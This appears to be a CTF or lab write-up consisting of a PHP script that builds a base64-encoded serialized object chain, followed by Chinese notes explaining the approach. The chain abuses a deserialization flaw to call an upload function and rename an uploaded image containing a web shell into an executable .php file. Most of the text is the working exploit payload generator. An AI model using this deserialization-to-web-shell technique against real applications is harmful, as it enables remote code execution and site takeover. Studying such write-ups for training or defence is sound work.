<?php
namespace appwebcontroller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
class Register
{
public $checker;
public $registed;
}
$a = new Register();
$a->registed = 0;
$a->checker = new Profile();
$a->checker->except = ['index'=>'upload_img'];
$a->checker->filename_tmp = './upload/bc9c0f21801e3928b868149bfb65e408/fb5c81ed3a220004b71069645f112867.png';
$a->checker->filename = './upload/bc9c0f21801e3928b868149bfb65e408/2.php';
$a->checker->ext = 1;
echo base64_encode(serialize($a));
1、上传测试及目录扫描,上传无漏洞
2、代码审计,考虑反序列化,但是上下文没有对反序列化字符串的直接调用,考虑利用魔法方法构造payload
3、魔法方法无直接的命令执行,仅有__call有利用价值,但是无法传参进行命令执行
4、结合上传特点,可以上传后缀名为jpg的马,考虑使用魔法方法调用函数将上传的木马重命名为php
5、考虑绕过判断,直接调用函数upload_img(),并且重新命名恶意文件,基于此构造反序列化字符串